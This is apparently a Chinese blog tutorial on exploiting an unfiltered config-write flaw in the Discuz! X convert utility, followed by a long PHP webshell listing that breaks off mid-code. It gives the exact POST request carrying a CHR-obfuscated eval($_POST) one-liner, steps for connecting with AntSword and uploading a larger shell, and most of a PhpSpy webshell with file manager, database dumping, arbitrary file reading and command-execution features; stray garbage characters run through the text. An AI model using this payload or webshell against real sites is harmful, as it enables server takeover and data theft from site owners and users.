网络安全实战之discuz上传漏洞利用

fudyou

攻击思路：
想要拿下一台主机A的权限：
1、了解一下这个服务器：端口，服务器版本，操作系统版本。找漏洞
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器，就利用对方网站应用程序的漏洞，上传webshell然后提权
) \7 Z4 T- t  V6 {3、传上去后，得到apache用户普通权限，再提权成root
概述：
4 o; @6 m  F9 ]" ?这突破在一个DZ X系列自带的转换工具里面。
- B, t. u8 c1 e8 ~1 J: }+ `! M漏洞路径：utility / convert / data / config.inc.php
# q1 S/ _; G) |  e* m9 K漏洞发生的原因是：config.inc.php这个文件在黑客通过post写入时，无仸何过滤检测，所以通过post方式往config。inc.php中写木马程序。
触发突破过程：
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
, ]9 y2 _0 k; O) C9 K$ a4 r8 F' c" |, a2、使用/utility/convert/index.php迚行版本转换3，config.inc.php文件没有做过滤，可以使用POST方法对config.inc.php注入木马程序
攻击过程：
1、打开burp设置报文拦截，然后使用浏览器访问http://xxxxxxx.cn//utility/convert/


2，右键单击空白处，选择发送到中继器，将报文发到中继器

3、然后在中继器中查看信息：

4、修改第一行：GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval（）凼数中的eval是评估的简称，这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径：http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细：

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展：^ M符号^ M字符的来历和作用：在DOS/Windows里，文本文件的换行符为\r \n，而在linux系统里则为\n，所以DOS/Windows里编辑过的文本文件到了linux里，每一行都多了个^ M。所以^ M只是一个换行符号，没有实际的用处，我们可以将它保留，也可以将它删除，％0a％0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
4 g9 X& d. p. E( k3 K" S
8、通过中国蚁剑上传大码

) |1 }& b+ E6 U( o; z
7 o+ x% O1 ~( G* ~2 [- d: D5 K10、任意机器访问我们的webshell2.php木马文件，浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码：cmd

webshell代码如下：

1. <?php
   
2. 
   
3. /*****************************************************************************
   
4. 
   - z2 h. d6 Q9 A' A9 l! Z5 L
5. ===================== 请误用于非法用途，造成一切后果与本人无关。====================
   
6. 
   ) Q4 R' L9 e5 s$ a- F
7. ====
   
8. 
   
9. 
   
10. *****************************************************************************/
    
11. 
    
12. error_reporting(7);
    
13. @set_magic_quotes_runtime(0);
    7 p4 n2 h0 m% C  K( n
14. ob_start();
    
15. $mtime = explode(' ', microtime());
    ' Z! Y+ h; \5 _% ]$ K* d: x5 E
16. $starttime = $mtime[1] + $mtime[0];
    
17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    
18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    
19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    0 P3 x0 u! M" j; N
20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    
21. define('IS_GPC', get_magic_quotes_gpc());
    ) g6 y0 k* I  H. _6 U! ]
22. $dis_func = get_cfg_var('disable_functions');
    ! r7 S, o2 |3 Z" j
23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    2 l2 m1 J; j/ F" A/ `
24. @set_time_limit(0);
    
25. 
    * t, a% M1 w0 ~( n
26. foreach(array('_GET','_POST') as $_request) {
    
27.         foreach($$_request as $_key => $_value) {
    / @. A% a* j, m" ]# F
28.                 if ($_key{0} != '_') {
    
29.                         if (IS_GPC) {
    * Y! K7 Y, W9 w) S; r, n' U+ |
30.                                 $_value = s_array($_value);
    ' x) M0 b) q/ }1 s; v
31.                         }
    
32.                         $$_key = $_value;
    , M. _. J& F3 c! E
33.                 }
    
34.         }
    
35. }
      y' }+ |( h- T" P
36. 
    1 J' B1 u& @& T* t; C6 x0 ?4 Q
37. /*===================== 程序配置 =====================*/
    ( f* e/ \  w$ u! I
38. $admin = array();
    - ~* w" a* j( _. m! A/ G
39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    
40. $admin['check'] = true;
    ) c1 B( B3 u9 [5 P6 T+ x
41. // 如果需要密码验证,请修改登陆密码
    ' t$ `1 M0 ^9 [: _7 F( \# ~( J* P
42. $admin['pass']  = 'xuegod';
    3 o$ y# g( A. o/ E6 V
43. 
    
44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    2 x" X$ d3 G% u3 w8 g' q3 P
45. // cookie 前缀
    4 y$ W8 T6 d5 @" m' m% f! ~
46. $admin['cookiepre'] = '';
    
47. // cookie 作用域
    4 d  A  j" W8 e7 R/ A2 }% W
48. $admin['cookiedomain'] = '';
    7 Y1 }! ]3 M. _, F! |$ X+ U
49. // cookie 作用路径
    
50. $admin['cookiepath'] = '/';
    
51. // cookie 有效期
    & W* G/ ?& \8 X0 ~8 n
52. $admin['cookielife'] = 86400;
    , w7 X) D: |+ \- P% a8 V6 E& J
53. /*===================== 配置结束 =====================*/
    % F5 ~) c& C6 `8 O0 S" c8 N9 L
54. 
    
55. if ($charset == 'utf8') {
    
56.         header("content-Type: text/html; charset=utf-8");
    
57. } elseif ($charset == 'big5') {
    & I! A" n) X+ ~! {6 K
58.         header("content-Type: text/html; charset=big5");
    5 H4 ?+ q0 o8 p3 e4 `9 |
59. } elseif ($charset == 'gbk') {
    ! v/ g/ i: q" B$ O$ O- r5 D
60.         header("content-Type: text/html; charset=gbk");
    
61. } elseif ($charset == 'latin1') {
    
62.         header("content-Type: text/html; charset=iso-8859-2");
    
63. }
    
64. 
    / J# D# k; E* A' y. Z% L" [+ k
65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    % T+ ^! a' v  Z- Z
66. $timestamp = time();
    , j: V& z- _" j) @
67. 
    
68. /*===================== 身份验证 =====================*/
    4 e  P6 f3 v) g
69. if ($action == "logout") {
    
70.         scookie('phpspypass', '', -86400 * 365);
    
71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    
72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    * S: K6 q' w  L$ A* g' d
73.         exit;
    
74. }
    ! m/ s3 E: }3 C& U/ w
75. if($admin['check']) {
    6 x% }* u7 u- E9 j& s
76.         if ($doing == 'login') {
    
77.                 if ($admin['pass'] == $password) {
    
78.                         scookie('phpspypass', $password);
    7 J$ c$ E7 {9 \; D: ]; ~9 J) J
79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    
80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    
81.                         exit;
    7 P; h# N7 S1 h3 k* U: t# P
82.                 }
    
83.         }
    ( R* g7 C5 k' ?6 X
84.         if ($_COOKIE['phpspypass']) {
    
85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    3 g5 L, Y, r7 r9 u% b
86.                         loginpage();
    
87.                 }
    
88.         } else {
    & Y) U- i$ I( U  ~" f* W% o4 l" t- D: ~
89.                 loginpage();
    
90.         }
    % L' A5 [1 j' g' e
91. }
      ~; G' @$ l4 l+ e8 z. z. p" K
92. /*===================== 验证结束 =====================*/
    3 X& e- V9 s( l' i# W0 L2 m6 x
93. 
    
94. $errmsg = '';
    : r6 `. @9 Y* W# R
95. 
    % ]$ K+ y7 ]3 C5 y
96. // 查看PHPINFO
    
97. if ($action == 'phpinfo') {
    ; O! G4 x, }. x( f& J6 U: t0 K
98.         if (IS_PHPINFO) {
    & L( _3 S+ r8 i; \( v
99.                 phpinfo();
    
100.         } else {
     
101.                 $errmsg = 'phpinfo() function has non-permissible';
     
102.         }
     % K0 g5 A. \- f1 ~( b' q
103. }
     
104. 
     
105. // 下载文件
       v' C9 q# w9 h" T7 a3 e% W- k
106. if ($doing == 'downfile' && $thefile) {
     ( I/ I6 n) p" h5 B8 b
107.         if (!@file_exists($thefile)) {
     
108.                 $errmsg = 'The file you want Downloadable was nonexistent';
     
109.         } else {
     
110.                 $fileinfo = pathinfo($thefile);
     
111.                 header('Content-type: application/x-'.$fileinfo['extension']);
     
112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     
113.                 header('Content-Length: '.filesize($thefile));
     * T  t& ?9 v# {  _9 X  F8 ^9 a$ x' P
114.                 @readfile($thefile);
     
115.                 exit;
     
116.         }
     ( @+ Q; z; D$ S+ d
117. }
     
118. 
     
119. // 直接下载备份数据库
     
120. if ($doing == 'backupmysql' && !$saveasfile) {
     * m/ c7 K) a* W! \
121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
122.         $table = array_flip($table);
     8 O9 k+ p0 N3 p% U: S) C4 W" w
123.         $result = q("SHOW tables");
     
124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
     
125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
     # H2 f1 x! G* P: P
126.         header('Content-type: application/unknown');
     " j0 z2 k- Y0 K' h( U
127.         header('Content-Disposition: attachment; filename='.$filename);
     3 L! K1 w) ?$ K/ Q; c" s
128.         $mysqldata = '';
     
129.         while ($currow = mysql_fetch_array($result)) {
     
130.                 if (isset($table[$currow[0]])) {
     $ P5 E. |: ]: D1 m. f
131.                         $mysqldata .= sqldumptable($currow[0]);
     ) \, a( f! q0 y) U
132.                 }
     : C' l. H3 g; J; v
133.         }
     . l. N0 ?9 M& S) m' O) T
134.         mysql_close();
     
135.         exit;
     ; G( R: b- I  d/ K. p$ g
136. }
     8 K1 ?$ V' I1 N. _* }
137. 
     0 z1 D) i+ h9 p6 q
138. // 通过MYSQL下载文件
     
139. if($doing=='mysqldown'){
     # M& n4 g$ P5 Q6 q( q
140.         if (!$dbname) {
     / o8 e# `8 t2 G9 l4 o1 I" A
141.                 $errmsg = 'Please input dbname';
     
142.         } else {
     9 e; x: [4 c, {/ E. A
143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
144.                 if (!file_exists($mysqldlfile)) {
     
145.                         $errmsg = 'The file you want Downloadable was nonexistent';
     % I& I  w% ]5 m
146.                 } else {
     
147.                         $result = q("select load_file('$mysqldlfile');");
     8 c( A0 ?4 j- s# D
148.                         if(!$result){
     
149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
     
150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
     
151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
     2 ^% d. k0 ^4 N# L$ O( ]$ T% c5 l
152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
     6 H" {% O' U; P5 n
153.                                 $result = q("select content from tmp_angel");
     
154.                                 q("DROP TABLE tmp_angel");
     
155.                         }
     ' p2 G: x+ k0 T
156.                         $row = @mysql_fetch_array($result);
     9 A5 D( H/ }- a
157.                         if (!$row) {
     
158.                                 $errmsg = 'Load file failed '.mysql_error();
     
159.                         } else {
     , D4 l( q3 @5 ?' P! z' G
160.                                 $fileinfo = pathinfo($mysqldlfile);
     
161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
     # y3 b5 Y0 Y$ [5 b- c0 a+ V
162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     5 w. \( Q0 S% m- u' L
163.                                 header("Accept-Length: ".strlen($row[0]));
     
164.                                 echo $row[0];
     9 y2 v" R$ u* q8 |; i% M$ B# f) s
165.                                 exit;
     
166.                         }
     
167.                 }
     1 V, v) _( _% U0 u1 s+ U  _
168.         }
     # V  X+ `! c7 \" c7 W
169. }
     
170. 
     
171. ?>
     
172. <html>
     
173. <head>
     , H$ p, s  ~& B( A  |; f: p5 {
174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
     1 n* U9 D% |  t0 }
175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
     
176. <style type="text/css">
     $ g4 {( y, [! \4 P
177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
     9 f! W( W7 l$ x1 A! q  Y" C
178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
     ! V; D. x( z1 T) _9 X
179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
     
180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
     - |+ K- e$ I/ E2 M( T) ?- V9 f8 O
181. a {color: #00f;text-decoration:underline;}
       w! r' G: v9 W' V; p
182. a:hover{color: #f00;text-decoration:none;}
     
183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
     
184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
     1 Y* U1 D- L# x' A1 H
185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
     4 |8 j8 z$ ^$ T, H* k# p# F# g2 Z. C
186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
     ! ^- m* K9 r5 v9 G$ E0 B
187. .head td span{font-weight:normal;}
     # V5 v4 C' l& h  g2 `# p( Y
188. form{margin:0;padding:0;}
     - I$ J9 N) b2 k+ \* c; _
189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
     
190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
     
191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
     ) }' g8 i" o9 L- H3 Q. u; J
192. </style>
     
193. <script type="text/javascript">
     : _& u/ g6 I3 j8 p
194. function CheckAll(form) {
     ) X. B3 X, j/ u  Q+ P& ?* ?
195.         for(var i=0;i<form.elements.length;i++) {
     
196.                 var e = form.elements[i];
     
197.                 if (e.name != 'chkall')
     
198.                 e.checked = form.chkall.checked;
     * J  `' x3 Z/ b2 P' f
199.     }
     
200. }
     
201. function $(id) {
     3 f  m( M4 U3 O" ?" }# s
202.         return document.getElementById(id);
     $ V& K  i, w' t- H- w0 K& {
203. }
     
204. function goaction(act){
     
205.         $('goaction').action.value=act;
     
206.         $('goaction').submit();
     
207. }
       s2 g% L7 I1 {' P" z
208. </script>
     . a/ Q# ~, }/ g: P6 q5 m
209. </head>
     
210. <body style="margin:0;table-layout:fixed; word-break:break-all">
     7 V# N- |0 z8 p6 R2 f
211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
     
212.         <tr class="head">
     
213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
     * n! w: h' }$ h# F7 f1 q
214.         </tr>
     ; d; b- m$ ]1 `" v0 i4 S
215.         <tr class="alt1">
     
216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
     ( v! c/ m3 |! K' ~6 Z
217.                         <a href="javascript:goaction('logout');">Logout</a> |
     
218.                         <a href="javascript:goaction('file');">File Manager</a> |
     % n, X9 k# [& _# D: L+ F) U
219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
     3 L# D4 C" z/ T* c6 R+ \
220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
     . F/ H: H$ T2 V# O% H
221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
     " h8 F, V* b% \+ z* u1 s/ r* z
222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
     ! B5 y; y  O& m. g' h$ l$ Y
223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
     
224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
     * J- W' c) W2 S* @
225.                 </td>
     
226.         </tr>
     7 O# M" i* D9 E( H. Y$ {* m
227. </table>
     ; a5 m4 l% v" k+ I% @5 |
228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
       I4 I& r8 q) a' |/ k8 v/ W- |4 b
229. <?php
     
230. 
     
231. formhead(array('name'=>'goaction'));
       v" r6 Y- V5 ]" A$ d1 t: R
232. makehide('action');
     6 v- X" m5 e" n; |9 b9 E
233. formfoot();
     
234. 
     
235. $errmsg && m($errmsg);
     
236. 
     
237. // 获取当前路径
     
238. !$dir && $dir = '.';
     ; w% c5 o! U9 }
239. $nowpath = getPath(SA_ROOT, $dir);
     
240. if (substr($dir, -1) != '/') {
     
241.         $dir = $dir.'/';
     
242. }
     
243. $uedir = ue($dir);
     
244. 
     
245. if (!$action || $action == 'file') {
     4 m* o: c% T0 t6 C. ?
246. 
     8 _2 [6 |+ ^; T7 N$ W5 B
247.         // 判断读写情况
     
248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
     7 a& m+ |. e! L  w
249. 
     
250.         // 删除目录
     
251.         if ($doing == 'deldir' && $thefile) {
     ) Y6 q% i6 H7 R( ^0 r4 |; n* l
252.                 if (!file_exists($thefile)) {
     0 L! |  I2 q& Z* t% }9 X. y
253.                         m($thefile.' directory does not exist');
     % A, ^# P7 R6 o9 i" i; L
254.                 } else {
     % Y1 O1 R6 ?3 c7 z% Z6 T" @
255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
     
256.                 }
     # \. d( Q' X, N5 R7 q' O' E" H  D
257.         }
     
258. 
     
259.         // 创建目录
     / A. B: M7 B4 l+ H, [+ @
260.         elseif ($newdirname) {
     $ D5 t7 N! c7 N0 P
261.                 $mkdirs = $nowpath.$newdirname;
     
262.                 if (file_exists($mkdirs)) {
     " k7 f" g8 ?" C8 }
263.                         m('Directory has already existed');
     
264.                 } else {
     
265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
     ' I+ k/ _+ B2 ^/ w. ?
266.                         @chmod($mkdirs,0777);
     ( R2 G# l. ^- ]8 D7 B
267.                 }
     
268.         }
     7 s# @1 N/ a6 a6 Z1 ~8 @( n7 T
269. 
       v/ O  Q/ G0 _- R
270.         // 上传文件
     - \& v8 o& j" ^% U, V& f' I* K$ ^
271.         elseif ($doupfile) {
     6 v3 j/ t! F, E' I* F8 x0 C: G6 j
272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
     9 K7 t# Q2 x' p8 G4 G
273.         }
     + K' a; a- p7 S+ u
274. 
     ) Q3 Z# i5 `4 x8 K: ^
275.         // 编辑文件
     
276.         elseif ($editfilename && $filecontent) {
     0 H2 A4 S6 |7 P( a
277.                 $fp = @fopen($editfilename,'w');
     & o* O" C. h$ U6 ~# {
278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
     5 Q: J/ C1 j, U" K" y9 [$ R
279.                 @fclose($fp);
     
280.         }
     
281. 
     
282.         // 编辑文件属性
     
283.         elseif ($pfile && $newperm) {
     6 m  Y: v& l2 ^: M4 X  o
284.                 if (!file_exists($pfile)) {
     
285.                         m('The original file does not exist');
     9 \/ O; B, z% |2 }7 j, }% i
286.                 } else {
     
287.                         $newperm = base_convert($newperm,8,10);
     
288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
     * n! h" M! |: h" H
289.                 }
     5 }" I1 `2 G3 M
290.         }
     
291. 
     
292.         // 改名
     
293.         elseif ($oldname && $newfilename) {
       H6 n' P0 e1 g: [
294.                 $nname = $nowpath.$newfilename;
     
295.                 if (file_exists($nname) || !file_exists($oldname)) {
     + a- v+ _- d! u' c5 @
296.                         m($nname.' has already existed or original file does not exist');
     ; E) @/ ?' i: L# ~
297.                 } else {
     # l' B' I4 R: j* t/ N
298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
     
299.                 }
     
300.         }
     
301. 
     # Z4 k6 O% }" M4 G
302.         // 复制文件
     ! ~# x! p' r7 U0 F' x
303.         elseif ($sname && $tofile) {
     . m7 o$ P$ ]' m6 T% ^
304.                 if (file_exists($tofile) || !file_exists($sname)) {
     
305.                         m('The goal file has already existed or original file does not exist');
     
306.                 } else {
     8 r) I& V. b3 c7 e- k
307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
     ! j# C  V+ }# L7 s  X
308.                 }
     # F1 ]' n( H# |
309.         }
     
310. 
     + X2 k$ c! ~8 g
311.         // 克隆时间
     5 U* |1 i9 j7 q/ I% d# v8 n* Z
312.         elseif ($curfile && $tarfile) {
     
313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
     
314.                         m('The goal file has already existed or original file does not exist');
     
315.                 } else {
     & b2 K8 D4 Y% `) i  I
316.                         $time = @filemtime($tarfile);
     
317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     " N; ~, U4 F7 N1 D# {
318.                 }
     
319.         }
     
320. 
     " {1 `+ v1 b! a6 Y+ u  F
321.         // 自定义时间
     
322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
     
323.                 if (!@file_exists($curfile)) {
     
324.                         m(basename($curfile).' does not exist');
     
325.                 } else {
     
326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
     
327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     ! R- N( g- }4 D* J3 q$ C# z
328.                 }
     6 ~5 X" ?7 O4 r$ `; R8 R, o
329.         }
     
330. 
     8 q; M; R/ m, \* N. X
331.         // 打包下载
     
332.         elseif($doing == 'downrar') {
     
333.                 if ($dl) {
     + T# M3 Y# u, ~* \
334.                         $dfiles='';
     / l3 P0 w; y1 d% T  A( i6 ~- {1 T
335.                         foreach ($dl as $filepath => $value) {
     
336.                                 $dfiles.=$filepath.',';
     
337.                         }
     & s) r9 E+ y. \' q
338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
     
339.                         $dl=explode(',',$dfiles);
     
340.                         $zip=new PHPZip($dl);
     8 P: ^; `1 y. Z# a
341.                         $code=$zip->out;
     
342.                         header('Content-type: application/octet-stream');
     
343.                         header('Accept-Ranges: bytes');
     
344.                         header('Accept-Length: '.strlen($code));
     
345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
     8 i  V& m' f5 h  T
346.                         echo $code;
     
347.                         exit;
     4 y& C: z* b+ P( j7 b( p0 x! d/ }
348.                 } else {
     / W# r0 J# t1 q
349.                         m('Please select file(s)');
     
350.                 }
     * F& E( K! q; X
351.         }
     " e% H+ I6 M$ E; K  D
352. 
     ; z& n8 z1 r7 B3 c0 d# n+ x
353.         // 批量删除文件
     
354.         elseif($doing == 'delfiles') {
     3 `- e) K* Z& `4 O# w) z& y
355.                 if ($dl) {
     
356.                         $dfiles='';
     8 v! C, l: g1 G
357.                         $succ = $fail = 0;
     
358.                         foreach ($dl as $filepath => $value) {
     
359.                                 if (@unlink($filepath)) {
     
360.                                         $succ++;
     
361.                                 } else {
     8 C6 u# |7 t0 O8 \/ K! i
362.                                         $fail++;
     
363.                                 }
     
364.                         }
     
365.                         m('Deleted file have finished，choose '.count($dl).' success '.$succ.' fail '.$fail);
     & H7 d8 c2 T8 }+ l& L; D( N( l
366.                 } else {
     3 ^$ G5 D4 r! I$ u7 r) b
367.                         m('Please select file(s)');
     
368.                 }
     
369.         }
     
370. 
     
371.         //操作完毕
     & w% U7 F0 l5 e7 J
372.         formhead(array('name'=>'createdir'));
     
373.         makehide('newdirname');
     % s6 y: V4 }$ b6 A0 R" [8 o1 v( u/ e
374.         makehide('dir',$nowpath);
     
375.         formfoot();
     
376.         formhead(array('name'=>'fileperm'));
     
377.         makehide('newperm');
     
378.         makehide('pfile');
     6 D0 h" S- `7 o
379.         makehide('dir',$nowpath);
     ) x: r$ K0 l; b5 l) |2 {1 r. O
380.         formfoot();
     2 Z' k- }5 a( {+ f' w8 p- `6 T% ^
381.         formhead(array('name'=>'copyfile'));
     
382.         makehide('sname');
     
383.         makehide('tofile');
     
384.         makehide('dir',$nowpath);
     3 y( T7 ]/ C9 t$ [
385.         formfoot();
     
386.         formhead(array('name'=>'rename'));
     0 _8 x8 _, m6 v3 K; f$ L8 K* i7 y! S
387.         makehide('oldname');
     , ]) c2 L1 Y1 v. b2 K+ a
388.         makehide('newfilename');
     $ g" U' J* b) S& f6 n+ i$ G
389.         makehide('dir',$nowpath);
     
390.         formfoot();
     
391.         formhead(array('name'=>'fileopform'));
     
392.         makehide('action');
     ' ?  a: I) N: y# h5 k( F
393.         makehide('opfile');
       A2 Y# U& G6 i; B. _4 }4 o  u; P
394.         makehide('dir');
     
395.         formfoot();
     
396. 
     
397.         $free = @disk_free_space($nowpath);
     
398.         !$free && $free = 0;
     
399.         $all = @disk_total_space($nowpath);
     
400.         !$all && $all = 0;
     % p* c( W% r8 X; J' m% T
401.         $used = $all-$free;
     : [; T5 ?# E  s* P
402.         $used_percent = @round(100/($all/$free),2);
     
403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
     % X# n& z# ]. C. _) M' r6 X
404. 
     
405. ?>
     . Q$ C- `. S' Q, F- w' ^
406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
     0 D0 U3 M. ~* }. g$ C3 L
407.   <form action="" method="post" id="godir" name="godir">
     
408.   <tr>
     4 s0 h, @6 Y/ x6 @' D
409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
     2 h8 A( R: W9 M
410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
     6 B0 R) }. d" i. z9 ]
411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
     
412.   </tr>
     
413.   </form>
     
414. </table>
     
415. <script type="text/javascript">
     % k& L& T: K* W( m# C
416. function createdir(){
     : b1 }3 p8 @: _6 b! }
417.         var newdirname;
     + o1 s- Y+ O$ D9 Z5 q
418.         newdirname = prompt('Please input the directory name:', '');
     ; t& F" |& ~2 {  V; I( G; S( W! f
419.         if (!newdirname) return;
     
420.         $('createdir').newdirname.value=newdirname;
     5 n- G- h$ A( ]. W; S
421.         $('createdir').submit();
     
422. }
     
423. function fileperm(pfile){
     8 D; u$ X4 @; M9 W7 t
424.         var newperm;
     
425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
     
426.         if (!newperm) return;
     
427.         $('fileperm').newperm.value=newperm;
     
428.         $('fileperm').pfile.value=pfile;
     
429.         $('fileperm').submit();
     " [. t/ [0 h4 o( S
430. }
     & w; f5 a. A+ O3 y2 Q& V+ V
431. function copyfile(sname){
     
432.         var tofile;
     
433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
     " O4 C# X6 b0 T( m5 K' m3 Y' m* C
434.         if (!tofile) return;
     ) Z7 d+ B% q9 u; q' J: T- ?+ T6 G
435.         $('copyfile').tofile.value=tofile;
     # i2 A8 E( @( N
436.         $('copyfile').sname.value=sname;
     7 N, x8 P; d# x4 Y6 T- ~
437.         $('copyfile').submit();
     5 X  w. \' v( F6 M7 O* K
438. }
     
439. function rename(oldname){
     1 @$ [/ I4 W3 H* ~# b  f
440.         var newfilename;
     
441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
     
442.         if (!newfilename) return;
       a( w- g, j% y$ B; @- g. U
443.         $('rename').newfilename.value=newfilename;
     0 C4 b9 p3 L5 w; s; D
444.         $('rename').oldname.value=oldname;
     
445.         $('rename').submit();
     
446. }
     + ?' D1 w8 l6 {( q$ K/ x6 r8 G
447. function dofile(doing,thefile,m){
     8 V4 r( P6 U; e) C: j* Y+ _  S
448.         if (m && !confirm(m)) {
     
449.                 return;
     
450.         }
     * s, }5 c1 x" _  t# ]2 y  x) w' d+ V; t
451.         $('filelist').doing.value=doing;
     
452.         if (thefile){
     - c3 i8 G, P: \, w5 E4 u) t
453.                 $('filelist').thefile.value=thefile;
     9 Y& Z  m$ |* T0 J
454.         }
     
455.         $('filelist').submit();
     2 {) ~% z: w) Z; z, t
456. }
     + f& Q- T- f5 z6 g% ~/ R
457. function createfile(nowpath){
     ; F; V1 g1 b" [" Z( f+ b8 H
458.         var filename;
     
459.         filename = prompt('Please input the file name:', '');
     
460.         if (!filename) return;
     
461.         opfile('editfile',nowpath + filename,nowpath);
     9 k9 e1 q' I- I4 P3 b, `. `
462. }
     
463. function opfile(action,opfile,dir){
       I' k* ~/ X% a# Y1 t
464.         $('fileopform').action.value=action;
     1 }6 y# j" e, Z6 {: ]) j( D2 N
465.         $('fileopform').opfile.value=opfile;
       ]* S4 p3 w4 b( M6 O- _& ~2 [
